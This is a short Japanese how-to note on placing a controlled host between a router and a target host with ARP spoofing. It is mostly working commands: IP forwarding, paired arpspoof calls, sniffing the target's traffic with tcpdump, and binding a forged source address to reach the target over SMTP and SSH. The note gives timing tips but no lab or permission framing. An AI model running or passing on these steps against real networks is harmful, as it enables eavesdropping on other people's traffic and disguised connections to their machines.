router と host1 の間に割り込む方法。
あなたが管理する host2 にて下記を実行する。
# 転送を有効にするため echo 1 > /proc/sys/net/ipv4/ip_forward # 192.168.12.102 に向けて「192.168.12.101 は aa:aa:aa:zz:zz:zz だよ」とウソの情報を投げ付ける arpspoof -t 192.168.12.102 192.168.12.101 # 192.168.12.101 に向けて「192.168.12.102 は aa:aa:aa:zz:zz:zz だよ」とウソの情報を投げ付ける arpspoof -t 192.168.12.101 192.168.12.102
二つの arpspoof はタイミングを合わせてほぼ同時に実行すること。タイミングがずれると router と host1 間の通信が切れる。
割り込みを止めるには二つの arpspoof それぞれでほぼ同時に Ctrl+C する。これに関してもタイミングがずれると router と host1 間の通信が切れる。
router と host1 の間に割り込んでから、host2 で tcpdump すれば host1 の通信が見えるし、以下のようにすれば telnet を用いての SMTP や ssh の際の接続元 IP アドレスを a.b.c.d に偽って host1 に接続することも可能。この場合の a.b.c.d には 192.168.12.0/24 の範囲外を指定すること。
# host2 にて enp0s3 に a.b.c.d/24 を割り当て ip addr add a.b.c.d/24 brd a.b.c.255 dev enp0s3 # host2 にて host1 へ SMTP 接続。その際の接続元は a.b.c.d telnet -b a.b.c.d 192.168.12.102 smtp # host2 にて host1 へ SSH 接続。その際の接続元は a.b.c.d ssh -b a.b.c.d 192.168.12.102